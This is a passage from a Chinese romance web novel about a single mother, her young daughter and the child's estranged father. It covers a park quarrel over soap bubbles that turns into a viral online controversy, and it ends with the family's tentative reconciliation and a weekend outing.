走之前喻梨带星星去商场给许佑和沈清挑礼物。 这次生病,多亏了清姐,还有……沈砚。 沈清送她们去车站。 喻梨把包好的礼物递给她。 沈清笑:“这么客气。” “应该的,谢谢清姐一直帮忙照顾星星。这个是你的,这个是佑佑的。” “那我就替佑佑谢谢梨子阿姨。” 下车时,赵雨浓看沈清似乎对喻梨有话说,识趣地带着星星先进入车站。 车内陷入短暂的沉寂。 沈清很久才开口说:“阿砚这次走得很急,你跟他……谈清楚了?” 喻梨口吻坦然:“其实没有什么好清不清楚的,我跟他之前很多年前就没有什么了。” 沈清看一眼喻梨,她目光那样坦荡,语气里是某种释怀的坦然,忽然觉得,那个记忆中的小梨子,真的长大了,成熟了,也冷漠了,比她想象要心狠。 沈清心情很复杂:“以后,真不打算再回北城?” 喻梨垂眸片刻:“除非必要。”又很快抬头,“清姐,我希望星星成长的环境单纯点,大人们的事情,不应该牵扯到她身上。” 沈清明白她意思,她也是做妈妈的,怎么会不懂喻梨的心情。北城,意味着舆论,二叔、二婶、父母那里,其实,没有人真心希望沈砚跟喻梨在一起,也没有人真的能坦然的,毫无芥蒂的接受星星。 沈清心里很难受,她是看着喻梨长大的,就像她看着弟弟逐渐习惯身边有个爱惹麻烦的少女,那些懵懂又热烈的青春,终究只是记忆。 她尽力挤出温柔的微笑,跟喻梨抱了抱:“有任何事情,都可以找我。” “好。” 然后,喻梨推门下车。 沈清望着她推着行李背影,忍不住想,喻梨是真的不会再回来了。 这个冬天好像也真的快过去了。 沈砚在初春病了一场。 他带着团队熬夜了近乎半个多月,不眠不休,解决了前期董事过去惹下的祸端,又手起刀落,将最新研发的医疗器械与多家海外工厂谈成合作。 但回来时,面临的摊子是沈氏股价的跌落。 发生了两件事。 第一件事是,沈二叔的私生子被媒体爆料,已经两岁多。 第二件事是,沈母跟沈誉正式提出离婚切割财产。 二叔的事,二婶选择沉默,像是早就料到。 但母亲忽然选择离婚,是沈砚没有想到的。 深入简出的沈母突然要离婚,沈誉第一时间,找的不是妻子谈,而是儿子跟女儿。 因为很多年前开始,妻子就拒绝跟自己做任何沟通了,两个人生活在沈家别墅里,更像是沈誉单方面的热脸贴妻子,最熟悉的陌生人。 但沈誉依然坚持维持这段婚姻。 父亲这种坚持固执到让沈清都觉得匪夷所思,因为母亲态度坚决,父亲却怎么都不肯签字,那样顾脸面的一个人,话里话外的意思是绝不肯签字,他有一整个律师团队,可以跟沈母耗到躺进棺材那天。 父亲的儒雅跟体面统统不见,像是固执得抱着一棵枯树,渴望它开花,即使这对他没有任何好处。 沈砚跟沈清这次都站在母亲那边。 没人理会沈誉苦口婆心的恳求。 沈砚那晚应酬完,开始只是胃疼,后来忽然发起烧,浑身冷汗涔涔,被紧急送往医院。 沈清头疼得很,总觉得冬天的阴霾似乎还没有过去,家里一个个的,没人真正能让人省心的。 但弟弟消瘦许多,五官轮廓比以往更锋利,眼底疲态明显,神色黯淡,像个只会处理工作的机器人。 她又觉得他这副倒霉相的,怪可怜的。 正巧徐清晚跟沈清打听沈砚的消息,沈清考虑了很久,才告诉徐清晚弟弟生病的事。 徐清晚到得很快,带了自己亲自熬的小米粥和点心。 她是体育生,从没干过洗手做羹汤这种事,点心的卖相不大好,但是小米粥熬得浓稠,倒是很能够下咽的。 沈砚带着一张略显苍白的脸,客气又温和的说:“谢谢。” 徐清晚就得意的笑伸开自己被烫到的指腹,直接俏皮的问他:“那你感动吗?” 沈砚回得很直接:“如果是朋友之间,应该是感动的,如果有别的意思,那可能要令你失望。” 把徐清晚气跑了。 顾野咬着嘎嘣脆的苹果,翻他一个白眼:“有你这么对女人的么,你说你是不是暴殄天物!” 沈砚头都没抬,继续打着吊针处理公务,人家带来的东西,自然是一口没动的。 但徐清晚从来不是轻易放弃的个性,第二天早晨又跟没事人一样,蹦蹦跳跳得拧着新熬的粥过来:“这次跟保姆学了新的,你尝尝。” 沈砚依旧温和说:“谢谢,我等放凉一点再喝。” 徐清晚嘴角就微微往上翘了那么一点儿。 看沈砚难得放弃工作在居然在刷手机,忍不住微微凑过去:“你在看什么?” 沈砚倒也跟她分享,说这句话的时候,表情很温柔:“我女儿养的狗,叫煤球,她每天回家要在小区里跟它玩一会儿。” 徐清晚顿时有些不自在,虽然早就听到过传言,但沈砚这么直接的承认自己有个女儿,她还是心理咯噔了一下。 徐清晚只能装作感兴趣的模样,跟着他一起看。 是录的视频,一段一段的,大部分时间只有孩子跟小狗玩的画面。 但最后,插进来一道女声,像是在提醒:“星星,回家了。”然后,视频戛然而止,中断了。 沈砚把这段带有女声的视频足足放了三遍。 徐清晚就算是个白痴笨蛋,也明白了几分。 抬头看一眼病床上的沈砚,他脸色是温和的,目光是甘之如饴的,仿佛这段小小的视频,是他这段生病时间里唯一的慰藉。 徐清晚是白着脸走的。 第89章 第89章沈砚至少某一点说得很中…… 春天来了,城市街道两旁的蓝楹花、迎春花、黄花风铃木次第开放,南城的阳光是珍贵的,一到有太阳的天气,公园就挤满了懒洋洋野餐。 周末不大忙的时候,喻梨也和许英带着星星果果在公园湖边的草坪上野餐。 两家人选了个不太晒的地方,铺上毯子,又架上露营的桌子跟凳子。 许英跟喻梨学下棋,果果和星星在旁边玩,两个大人不时要分心看一下孩子们。 “妈妈,星星想吹泡泡,我们可以去买泡泡机吗?”玩了一会儿,果果牵着星星的手过来了。 许英看了一眼一百米处的小摊集中地:“可以,用你自己的零花钱,要记得把妹妹牵好。” “嗯。”果果点了点头,牵着星星跑过去。 喻梨全程看着:“果果现在能自己买东西了?” 两个人都怕一错眼,孩子会有什么意外, 所以许英也望着不远处正在跟星星一起挑泡泡机的儿子:“男孩子嘛,还是要多锻炼他自理能力。” 正说着话,许英手机响,她一边看已经买好东西回来的果果,一边接电话,但语气偏冷淡。 等果果跟星星跑过来,她替儿子擦了擦额头的汗说:“你爸说给你衣服跟玩具,待会儿顺路送过来。” 果果在摆弄泡泡机,听到爸爸要来,没什么反应。 喻梨也在摸星星背脊,怕她出汗,给她擦了擦后背的汗珠子,但星星已经迫不及待想去吹泡泡了,等喻梨帮她弄好,小姑娘立刻跟果果一起,快乐的摆弄起泡泡机。 许英下棋完全跟喻梨学的,很菜,没什么瘾,好在喻梨是半斤八两,教得也一般,两个人下得有些心不在焉,更多的时候注意力会放在玩耍的两个小孩身上。 “妈妈,你看,好多泡泡!”果果时不时扑进许英怀里。 “我也有,我也有好多!”星星喜欢跟果果学,两个人似乎在比赛,谁制造出来的泡泡多。 稍微晚一点,开始起风的时候,他们下边一点的草地上,来了几个青年,男男女女都有。 两家距离不到半米。 其实喻梨起初都没注意,直到玩着泡泡机的果果被其中一个男的回头瞪了一眼,挑衅道:“你再吹一个试试!” 许英听到了,很是不满,立刻回瞪回去:“你凶他干什么?” “你们家小孩泡泡吹到我们这边来了,有没有素质,已经不是第一次了,刚才我就跟他眼神交流过一次了,他还故意往这儿吹!” 许英气笑了:“你眼神交流什么了,还故意,他就四岁多,能跟你什么眼神交流?还有,这个地方是不是我们先来的?就算他泡泡不小心吹到你那儿,你可以提醒他,你凭什么凶他!” “熊孩子你不教是吧,以后有的是你受的,你管不着,社会替你管,这是公共区域,你们家孩子吹泡泡,把我们食物都弄脏了,就你这种大人,能教出什么样的小孩,没素质!” “你是网络上多学了几句网络用语,就喜欢跟人谈素质吧,还非要说一个四岁的小朋友故意朝你吹泡泡,你没看风向吗,风吹过去的,怎么的,全世界有素质的人都死光了,剩你一个有素质的!”喻梨生平,最讨厌有人吵架动不动拿素质说话。 “行行行,你们不管是吧,那我也吹,我马上让我朋友买一个过来,大家一起吹!”说完,青年开始气呼呼的打电话摇人,“喂,你们还在买小吃是不是,买个泡泡机过来,这儿有人不讲素质,把我们食物都弄脏了,那就一起吹!!!” 许英和喻梨对视一眼,都被气笑了。 不一会儿,青年的朋友过来了,真的拿了泡泡机,青年立刻找了块空草坪,开始吹泡泡。 星星和果果有被吓到,各自窝在妈妈们怀里不说话。 许英老公跟女友找过来,看见果果窝在妈妈怀里红着眼睛,把东西往露营桌上一搁,问了句怎么的? 青年几个买东西过来的朋友,还在嘀嘀咕咕:“真是的,这种家长从来不管孩子吧。” “现在高铁跟地铁上也这样,熊孩子吵死了!” “讨厌死了,中国人的素质就这么被拉低了。” “只有妈妈,没爸爸,一看就单亲家庭带出来的……” 许英把前因后果几句话简单说了。 喻梨起初还想忍,她带星星出来是散心的,不是跟人吵架的,下意识捂着星星耳朵,不让她听。 直到最后一句‘单亲家庭’,彻底刺激到她。 她回头,正要发作,许英他老公已经提前发作,直接一脚把那几个年轻人的露营毯子掀了:“咋的,显得你们最能耐,大人不敢欺负,欺负小孩是吧,素质,就你们一群歪瓜裂枣一丁点儿同理心的没有的,配跟老子谈素质!” 许英老公人高马大,对面几个青年都有点吓到,但也不敢正面起冲突:“报警,咱们有素质的人通过法律解决问题,报警。” 事情闹到附近派出所,许英怕吓到孩子,让喻梨带着星星和果果先回去。 车上的时候,星星和果果都有些闷闷不乐,喻梨为了安慰俩小孩,就带他们去附近吃汉堡和薯条。 吃薯条的时候,果果小心翼翼问她:“喻阿姨,我是不是真的做错事?” 喻梨温柔道:“果果只要不是故意的,就不算错,但是下次我们再玩泡泡的时候,一定注意附近有没有人,咱们尽量不把泡泡沾到别人身上,嗯?” 果果立刻垂下脑袋:“我下次不玩泡泡了。” 星星也说:“妈妈,我也不玩了。” 喻梨听到这儿,心里怪不是滋味的。 许英晚上回来,喻梨问了一下情况。 “该赔偿的就招架赔偿呗,能有什么,反正气我是狠狠出了,老刘行事冲动,不顾后果,还敢质问我是不是平时带着果果就是这么受气的,那不如把果果给他,我说家是他选择出轨时就不要的,现在还敢来质问我,我们俩又吵了一架,我是真看不惯他假惺惺的样子。”许英还带着气。 “真不知道现在年轻人为什么对小孩这么大恶意,果果不要心把泡泡吹到他们那边时他不对,但是用得着凶孩子么,还动不动素质,我用得着他们提醒我素质!”许英还是气哼哼的。 喻梨递了一厅啤酒给她,她仰脖灌了大半,才熄了火。 两个人都没想到就周末第一件事,就这么上了热搜。 视频截取的是老刘怒气冲冲掀翻对方摊位的模样,又很断章取义的解释冲突的原因是因为对方熊孩子乱吹泡泡,家长包庇引起的,一下子就火了,评论上千条,浏览流量上万。 【我们烦的是熊孩子么,是那种没素质的家长!】 【只有家长会觉得那种到处吹泡泡的孩子可爱吧。】 【拜托,以后要当家长能不能提前考个证,不要把熊孩子流通到世面上。】 【真是什么人教什么样的孩子,这个爸爸一看就不是什么好人……】 【……】 视频链接是纪欣瑜转发给喻梨的,画面虽然一闪而过,但是依然有喻梨抱着星星的画面。 纪欣瑜说,不能让事情继续发酵,必须立刻联系对方删除视频,否则担心对星星造成伤害,现在网络暴力很可怕的。 喻梨也眉头紧锁,立刻打电话联系许英,许英说自己也看到了,已经发律师函正式起诉上传视频的青年一伙,幸好双方当时都去了派出所,留有案底。 但隔日,喻梨和许英送星星去幼儿园,还是有家长窃窃私语,原视频虽然被删除,但是转发量很大,网络舆论已经发酵,根本不是单纯的人为可以制止。 已经有网友开始扒老刘的身份信息,扒出他某公司高管的身份。 喻梨上次大战杨夫人已经出名过一次,没想到这次又上热搜。 茉莉妈妈倒是笑嘻嘻安慰她:“现在我们当家长的不容易,我都不敢随意带茉莉去公共场合,生育力低,年轻人对小孩的容忍度也低,幸好我们别墅区大,就在自家小区晒晒太阳,碰不到那些人,你要不搬过来得了,茉莉跟星星也能作伴。” 喻梨只是笑笑,没说话。 她跟许英分工合作,许英负责 起诉所有视频转发的人,她负责托关系,联系平台负责人,要求下架所有相关视频。 但是收效甚微,许英说,老刘影响公司声誉,已经收到公司警告。 果果和星星似乎都从幼儿园小朋友嘴里听出点儿什么,星星晚上睡觉时,红着眼睛跟她讲:“妈妈,我以后再也不吹泡泡了。” 喻梨听得有些难过。 反思自己是不是那天应该忍一忍的,至少不应该跟对方吵架,带孩子的方式是不是真的有问题,又或者正如茉莉妈妈讲的,以后少带星星去一些公共场合。 直到平台视频正式反转,有当天在旁边露营的人放出另一段视频,是几个青年在那儿议论讨论人家家长没素质,一看就是单亲家庭的小话视频。 “我们那天就在隔壁桌,这两对母亲是比我们后来,全程挺安静的,两个孩子也很可爱,吹泡泡的时候,我家孩子也跟去接泡泡了,孩子们都玩得挺开心的,那几个青年是最后来的,铺着野餐垫,当时吹风,是刚好往他们那边吹,可能泡泡也容易往他们那边跑,我不知道泡泡有没有弄脏他们的食物,但是我想,他当时如果能稍微礼貌一点提醒,也不至于发生争吵,毕竟哪个家长受得了自家小孩被人吼,或者动不动被骂这种家长能教出什么样的孩子之类的。” “我看网络评论会经常说什么样的家长教出什么样的小孩,其实我们家长现在带小孩,已经如履薄冰了,小朋友有时候的调皮确实不可控,我们也会尽量教,但是现实里,听到被人骂‘你这种家长能教出什么小孩’的时候,心里其实很难过的,希望社会能对孩子们多一点点的包容吧。” 发视频的人被记者打了马赛克,当时几个年轻人的说的话确实又挺尖酸刻薄的,舆论很快反转了。 【搞半天是人家先来的,小孩本来就在那里玩泡泡,他们自己跑到人家下面铺垫子,风把泡泡吹过去,还要被他们吼。】 【笑死,没素质的人吵架才全程强调自己素质。】 【现在接受点义务教育就喜欢强调自己素质了,难道素质不包含情绪管理吗,刚问了ai,有一条遇事冷静,学会共情和换位思考】 【现在小孩子太难了,从高铁到泡泡,孩子连在公园里吹会儿泡泡都不行了】 【要是我是家长,听到骂我‘单亲妈妈,教不好孩子’这种话,我也能把他们桌子掀了!】 【……】 许英以为是喻梨动用的人脉:“你怎么还能搞到人家采访?” 喻梨说:“不是我。” 她其实也挺奇怪的,而且前期的视频已经慢慢下架,网络上几乎很难再找到了,即使有,人物也打上了马赛克,至少看不出她们和孩子们的脸。 最终许英的起诉成功,她是律师,对伤害名誉权之类的官司手到擒来,老刘确实因为视频,事业受到影响,对方慌了,几个小青年可怜兮兮的来找许英道歉,说自己朋友太冲动才会把视频放到网络上,他们刚出社会,没什么钱,赔偿不起许英要求的那笔钱。 许英跟老刘商量的结果是让对方公开道歉。 事情暂时告一段落,否则喻梨和许英连住址都快被网友扒出来。 那天傍晚,星星又在小区里碰到小‘煤球’。 小姑娘高高兴兴的扑过去,摸了摸煤球的脑袋,喻梨一抬眼,看见这次遛它的人不是保姆,换成了沈砚。 两个人已经快有两个月没见面,沈砚穿一件简单的外套,搭一条休闲裤,个子高挑,肩膀挺括,五官轮廓清晰,看起来整个人清减了许多。 他牵着狗绳,看见星星放开妈妈的手跑过来,小心翼翼地摸着‘煤球’的脑袋,他就也蹲半蹲下来,温柔招呼她:“星星。” 星星没有理他。 沈砚正莫名,抬手想要摸她脑袋,星星把小脑袋一撇,转身跑回妈妈身边,根本不理会他。 沈砚的手就愣在半空,有些惊讶地望着回到妈妈身边的星星。 喻梨也很奇怪,跟沈砚对视一眼后,低头问星星:“星星,你怎么了,怎么不叫人?” 小姑娘抱着妈妈的腿,把脑袋埋在她裤腿上,不说话。 沈砚带着‘煤球’走过来,蹲下身靠在星星旁边,耐心问她:“怎么了,星星,不记得大伯了?” 隔一会儿,星星才红着眼睛看他,委委屈屈的:“我都不喜欢你了,你都不来看我,我也不会想你的。” 喻梨愣住。 刚回南城的时候,星星倒也提起过‘大伯’什么的,但是从不会主动要求要跟沈砚视频或者通话之类的,最近更是很少提及沈砚,没想到小姑娘心里其实还是很想念沈砚的,否则不会赌气说反话。 沈砚听着,简直眼睛都快跟着一块儿红了,喉咙堵塞,好半天才调整好自己呼吸,温柔说:“可是大伯很想你怎么办?” “你骗人,你都不来看我。”小姑娘眼睛红红的,还是很记仇的。 沈砚就说:“因为大伯生病了,生病就没办法来看星星,但是我很想星星的,想抱一抱星星,想摸摸星星的小脑袋,也想亲亲星星可爱的小脸蛋。” 星星这次终于肯看他,小姑娘小脸红红的,方才又蹭着妈妈的裤子,小脸也皱巴巴的,有些狐疑道:“你……你生病了吗?” 沈砚点头。 喻梨听到这里,忍不住看一眼蹲着的沈砚,他整个人瘦一圈,原来是生病了。 星星立刻有些心软:“那你痛不痛?” 沈砚朝她伸出手:“星星抱一下应该就不会那么痛了。” 星星犹豫片刻,还是上前搂住他脖子,小姑娘软乎乎的身体扑过来,沈砚心都快化掉,没忍住,搂得女儿紧了一点。 星星趴在他耳边,弄得他耳朵痒痒的,奶声奶气的说:“我刚刚骗你,我很想你。” 沈砚这次,是真的眼睛都快红了。 夕阳的余晖从楼层间距处照射过来,落在紧紧拥抱的父女俩身上,温馨又煽情。 喻梨看得怪不是滋味,仿佛她是可恶的刽子手,阻止父女俩相见。 但星星对沈砚的感情,确实发展迅速,至少喻梨从来没有见过星星在其他人身上投射过这种浓厚的情感。 连‘煤球’似乎都有些尴尬,无辜的蹲在旁边,奶呼呼的叫唤了两声。 沈砚很快调整好情绪,抱起星星,站起来,问喻梨:“准备出门?去哪儿?” 喻梨说:“附近超市。” “吃过晚饭了?” “嗯。” 沈砚想了想:“一起?” 喻梨看他一眼,倒也没拒绝。 附近步行十五分钟的距离有一家大型会员制商超,喻梨有空的时候,会带星星去逛逛,偶尔买点东西。 沈砚抱着星星,喻梨就主动抬手,示意他将狗绳给她。 沈砚似乎有些意外,看她一眼,但还是递给她。 出小区大门的时候,星星闹着要下来走。 沈砚放她下来。 星星就一手牵着沈砚,一手牵着妈妈,不时看看这个大人,又看看那个大人,两个大人都不说话,星星偷偷抿嘴笑。 喻梨有点尴尬,想了想问沈砚:“怎么忽然生病了,很严重吗?” 沈砚偏头看她,落日的余晖倾斜在她脸上,有种秋日静谧的柔和美感:“老毛病,胃炎。” ‘喔’喻梨就淡淡的一声。 “你呢,最近还好吗?眼睛怎么样?” “没事了,挺好的。”两个人似乎很久没有这样平和的相互问候,彼此都有点不习惯。 沈砚又问:“还是经常熬夜加班?” “公司春招了一批人,有些工作分担出去了,想花更多时间陪星星。”喻梨解释说。 这还是沈欣瑜的想法,大概是看喻梨眼睛受损,她自己身体也出现一些颈椎和腰椎的毛病,某天忽然跟喻梨感叹,赚钱是为了享受的,不是为了辛苦的,现在团队运营进入正轨,没必要把自己搞那么累,两个人不谋而合,决定招些有经验的管理人,把部 分工作分担出去。 “招来的人用得怎么样?” “目前看来很有经验,管理团队也有自己的一套,替我跟合伙人省了不少心。” “财务以及公司流水这块,还是要自己把控。” 喻梨点头。 大人们聊天,星星就很无聊,左看右看,想了想提出:“要荡秋千。” 喻梨垂眸看她一眼:“秋千在另一边,我们逛完超市回去荡好不好?” 星星摇摇头,小短腿往上蹬,拽住两个人的手,奶声奶气的撒娇:“星星现在就要荡秋千。” 喻梨终于get到女儿的意思,想起上次在机场,星星也是这样要求的,但她跟沈砚配合得不好。 沈砚也明白星星的意思,看向喻梨:“试试?” 喻梨这次应了,但她还牵着狗绳,沈砚示意她把狗绳递给他。 第一次,因为没经验,还是配合得不好,遭到星星的吐槽:“妈妈大伯是笨蛋。” 喻梨有些好笑。 很快第二次,星星被两个人拧起来,荡出半米多,开心到小腿在空气中乱蹬。 “再来一次。”她玩高兴了,于是开始乐此不疲。 沈砚跟喻梨倒也配合她,大概对于星星,两个人都是愧疚的,这种简单的小幸福,星星都从来没有拥有过。 小姑娘笑得‘咯咯咯’的,把煤球都感染,快乐得跟着小跑着,叫了好几声。 一路玩到商超门口,沈砚将‘煤球’放在寄养宠物的地方,又将星星直接抱进推车里。 跟着沈砚逛超市,星星没有跟妈妈在一起那样收敛,几乎小眼神扫到哪里,沈砚就问她是不是想要,然后直接扔进推车里。 喻梨提醒他:“你不要太惯着她,有些家里已经有了。” 沈砚说:“那就换新的。” 喻梨看着乐得找不着北的女儿,有些头疼。 逛到玩具区的泡泡机组合时,星星偷偷瞄了好几眼,沈砚顺手把玩具丢进来,星星反应很大:“不玩泡泡机。”把玩具推出去,别扭的不肯要。 沈砚看一眼喻梨,显然已经知道发生什么事,但星星的应激反应他是没有想到的。 喻梨心情也有点沉重。 沈砚亲亲星星小脸蛋:“可是大伯想玩泡泡机。” 星星呆住,跟他认真强调:“这个是小朋友玩的。” “大人也可以玩,我们待会儿去公园玩。”沈砚说。 星星玩着自己的指头,不肯说话。 但真正到了小区附近公园,沈砚用泡泡机制造出很多泡泡的时候,小姑娘一下子又很开心,跟煤球一起围在沈砚旁边,蹦蹦跳跳的,附近很多小朋友跑过来,发出欢快的笑声。 公园夜晚的灯光昏黄,飞蛾扑朔着翅膀往最亮的地方扑腾。 灯光下的泡泡五彩斑斓,仿佛一场童话。 喻梨站在旁边,看沈砚周围围绕了好几个小朋友,忽然觉得这一幕有点割裂,大约跟沈砚平日的形象不大一样,第一次看到他如此有童心的一面。 沈砚将泡泡机给了星星,让她自己跟孩子们玩。 他朝喻梨走过来时,喻梨正在拧矿泉水瓶盖,刚才在自助贩卖机买的。 瓶盖有点紧,喻梨拧了一次没拧动,沈砚就很自然地接过来,帮她拧开,然后递给她。 喻梨看一眼,把剩下的一瓶也递给他。 喝了一口水,喻梨才问:“网上视频的事,是你找人做的采访?” 沈砚:“费了点儿功夫,在原视频上面找到的你们隔壁桌的人,正巧对方拍了视频。” 喻梨想了想,偏头看他,还是说:“谢谢。” 沈砚目光望过来,桃花眼底含了些许情绪:“该说抱歉的人是我,让你承受‘单亲妈妈’指责的人其实是我。” 两人目光对视,喻梨目光带着几分复杂,沈砚幽深的眼底有灼热的岩浆,仿佛随时要将人烫化,喻梨只能避开。 她说:“不是为你生的,所以你没有必要说抱歉。生下星星,我从来没有后悔过,她带给我的幸福跟快乐,比我曾经想象的要多得多。” 沈砚偏头望向在玩泡泡机的女儿,声音低沉郑重:“所以,谢谢。星星带给我的幸福跟快乐,也远远比任何事都要多得多。” 不知道为何,喻梨忽然觉得眼睛有点酸,喉咙也有点哽咽。 星星忽然被绊倒,跟泡泡机一起摔地上。 喻梨刚要动作,沈砚已经大步走过去,抱起星星,检查小姑娘的腿有没有受伤。 “膝盖痛不痛?” 春天,小姑娘穿着鲜亮的小裙子和白色打底袜,沈砚无法辨别她有没有磕破膝盖,但星星摇了摇头,笑嘻嘻的隔着他的肩膀朝小朋友扣动泡泡机,沈砚就知道她没摔疼,松一口气。 不远处的喻梨看着这一幕,忽然想,沈砚至少某一点说得很中肯,世界上应该不会别人,比他更疼爱星星。 第90章 第90章你已经陪我不开心很久了…… 星星彻底玩累了,伏在沈砚肩膀上睡着。 煤球也跟着星星跑累了,回家半途懒懒的,怎么都不肯再动弹,简直是条癞皮狗,喻梨跟沈砚都觉得好笑,喻梨只好把煤球抱起来。 沈砚把睡着的星星放在儿童床上,小姑娘搂着她的脖子,不肯放手,迷迷糊糊呢喃了一句:“要大伯。” 沈砚没听清。 但星星很快又呢喃了一句:“要跟大伯玩。”白嫩嫩的小手抓住沈砚的领口不肯放手,显然似乎是担心自己一旦放开,沈砚便会离开。 沈砚看一眼闭着眼睛睡得香甜的女儿,小姑娘漆黑的长睫安份垂落下来,小圆脸肉嘟嘟的,又白嫩嫩的,像剥壳的鸡蛋,抓着他衣领的手指软乎乎的,很难让人放手。 喻梨刚把煤球安置好,进到儿童房,就看见女儿抓着沈砚领口不放这一幕,她走进去,轻轻抚上女儿的手,拍了拍她柔软的小身体,小姑娘似乎闻到妈妈身上气息,手指终于软软放开沈砚。 喻梨刚想说‘你可以走了’之类的,一转头,发现沈砚距离很近,儿童房光线柔软,近距离看沈砚,星星简直是他的翻版,继承他挺括的鼻梁,眉毛,以及嘴唇的部位,因为清瘦,他骨骼越发分明,清隽英挺,柔和的光影里,漆黑桃花眼正目不转睛地望着她。 “我也很想你。”沈砚眨了一下眼睛,嗓音低沉,忽然认真道。 喻梨被他目光烫到,偏头躲开,很快站起来,帮星星掖了掖被子,提醒他:“太晚了,你早点回去休息。” 她话语说得冷淡,微微抱着手臂,纤长脖颈拉出线条感,穿一件针织衫,肩膀很薄,避开他目光,身体抗拒的意味很明显,让人难以忽视,沈砚看她一眼,眼神黯淡下来,转身出了儿童房。 喻梨听见门关上,才微微松一口气。 她看一眼睡得香甜的女儿,没忍住亲了亲她小脸蛋,又想起自己说过会试着接受与沈砚一起抚养她,今日做得很好,但总是很难忽视沈砚偶尔投射过来的,滚烫且灼热的目光。 再出去时,沈砚已经牵着煤球回去了。 她让阿姨帮星星擦了擦身体和脸颊,回主卧洗漱,吹完头发出来时,梳妆台上手机震动,她看一眼信息,是沈砚发来。 是煤球的照片,正努力拿小脑袋蹭沈砚的手心。 沈砚挽起袖口撸它,冷白的手腕骨骼分明,手指修长,隐约能看得清上面青色血管,煤球的小脑袋在他手心里,显得是很小很黑的一只,对比分明, 沈砚见她没回复,又发来一段信息解释:【大概刚才睡够了,回来就开始撒欢】 略显笨拙的聊天方式,喻梨始终没有回复。 沈砚抱着煤球去沙发上坐了一会儿,望着对面的光线,喻梨的卧室灯光亮到11点多,然后关灯了。 他看了怀里的煤球一眼,目光寂静,心情逐渐失落。 喻梨的态度很明确,大约除开星星,不大想跟他聊别的。 卧室里,喻梨开着微弱的壁灯。 手术那段时间对黑暗的恐惧加深,她现在睡觉前习惯给自己留一点 光亮。 但今日辗转反侧,很难入睡,思绪杂乱,大约其实已经不知道应该怎样面对沈砚。 隔日早晨被星星闹醒,小姑娘跳到她床上,摇晃她手臂:“妈妈,妈妈,今天周末,我可以去找大伯玩吗?” 喻梨想了想,沈砚大约也只是周末有空,倒是没什么意见:“让赵阿姨帮你洗漱,带你过去玩。” 星星就很高兴,立刻跳下床,去找正在厨房忙碌的赵阿姨。 喻梨瞌睡被女儿闹醒,倒也不再有睡意,原本计划带星星周末去爬山,倒不如让她跟沈砚待一天,自己也可以有自己的闲暇。 洗漱时,她给沈砚发信息【星星待会儿要过去找你。】 发完,看见沈砚昨日发来的闲聊,她凝眸沉思了一会儿,还是选择视而不见。 喻梨刷完牙,收到沈砚回复:【好的】 可能也是刚起床。 但沈砚是期待的,想到喻梨待会儿会过来,去衣帽间挑了一套休闲装,又选了合适的腕表,收拾得差不多时,门铃按响,迈着长腿去开门,发现门口站着星星跟拧着她小书包的保姆,脸色瞬间暗淡下去。 星星已经抱住他腿,毫不吝舍得夸赞:“大伯,你今天好帅!” 沈砚抱起她,目光望向保姆,对方把星星的小书包递过来说:“星星的水壶跟外套在里面,也有一些零食,喻小姐让我提醒您不要给她吃太多零食,她容易积食。” 沈砚喉结滚动,想问喻梨呢,但发现自己问不出来,只能微微颔首,接过对方递过来的小书包。 他把星星抱到沙发上坐下,问她:“星星吃早饭了吗?” 星星坐在沙发上,小短腿一晃一晃的,跟他数:“我吃了牛奶、牛角包,还有鸡蛋。” “妈妈呢?” “妈妈吃了牛角包、鸡蛋,还有豆浆。” 沈砚清了清嗓子:“妈妈今天怎么安排的?” 星星眨了一下眼睛,大约是没明白沈砚意思。 沈砚便换了一个问法,装作不经意:“妈妈今天不跟我们玩?” 星星出发前被喻梨交代过,如果大伯同意,今天会带她一整天,让她跟大伯还有煤球玩,小姑娘兴致冲冲的,根本没想过妈妈的事。 这会儿被沈砚问起,小姑娘似乎终于察觉到哪里不对劲。 喻梨正在餐桌前跟沈砚发信息:【合适的话,你可以带她一整天,晚点送回来就行,注意不要给她吃太多,她很容易积食。】 喻梨刚发完信息,对方弹了语音过来,她有些莫名,但还是接起来。 听筒里,很快传出宝贝女儿的声音,问她:“妈妈,妈妈,我也要跟你玩!” 面对女儿,喻梨态度不可谓不柔软,耐心道:“不是说要跟大伯玩?” 星星的小脑袋里,还没有选择题,有的只是固执的两个都要,于是强调:“要跟大伯玩,也要跟妈妈玩。” 沈砚站在木质的餐桌前喝一杯冰水,但耳朵跟目光留意着沙发上星星的动静,喝水间,凸出的喉结滑动,桃花眼难得有些不自在。 那头,喻梨不知道说了句什么,很快星星小跑过来,踮起脚尖,将手机递给沈砚:“妈妈要跟你说话。” 沈砚将听筒放置在耳边,没说话。 那头沉默片刻,喻梨似乎是妥协道:“你今天有什么安排?” 落地窗照射进来的阳光明亮和煦,男人嘴角微微翘起:“都可以,你本来打算周末带星星去哪儿玩?” “附近有座山,开车过去大概一个多小时,空气很好。”喻梨想了想说。 沈砚没什么意见,口吻很温和:“那就去爬山。” 他把昨晚做好的蛋糕拿出来,又衣帽间重新换上一套运动服。 再出来的时候,星星抱着煤球趴在餐桌上,眼巴巴地望着那只蛋糕。 沈砚捏了捏她小脸:“待会儿我们跟妈妈一起吃。” 星星仰头问他:“你什么时候买的蛋糕?” 沈砚笑:“大伯自己做的,你待会儿偿偿。” 星星立刻星星眼,一副崇拜他的表情,沈砚单手抱起她,又拧上她的小书包和蛋糕,去地下车库开车。 车子是买给喻梨的生日礼物,白色卡宴,地盘和转向非常好,适合女生开,停在车库很久,但喻梨一直没动。 卡宴特意安排了儿童座椅,沈砚将星星放进去,给喻梨打电话。 喻梨也穿了一套米白色薄款的运动服,淡妆,眉目清爽,卷发扎成马尾状,显得白皙的脖颈很长,浑身上下干净利落,背着赵阿姨准备好的水壶和切好的水果。 沈砚看她一眼,帮她来开后座门。 喻梨坐到星星旁边。 几乎一上车,星星就开始迫不及待炫耀:“妈妈,有蛋糕吃。” 喻梨捏捏她小脸蛋,宠溺道:“你就想着吃蛋糕。” 星星奶声奶气,话语里满是崇拜:“是大伯做哒,大伯超级厉害。” 喻梨有些意外,侧头看一眼驾驶座的沈砚,沈砚正启动手刹,大概是注意到两个人之间的谈话,目光从内视镜望过来,跟她对视。 “你待会儿偿偿。”沈砚状似随意说,但握着方向盘的骨指凸出,仍旧泄露一丝淡淡的紧张。 喻梨垂眸,神色不明,极轻的‘嗯’了一声。 开上高速时,周围的油菜花田成片成片,已经怒放,天气好得不像话,风从外头灌进些许,几乎都带着花香。 到山脚下,两个人找先找农家乐吃了顿早午饭。 星星老是想着她的蛋糕,挑食不肯吃饭。 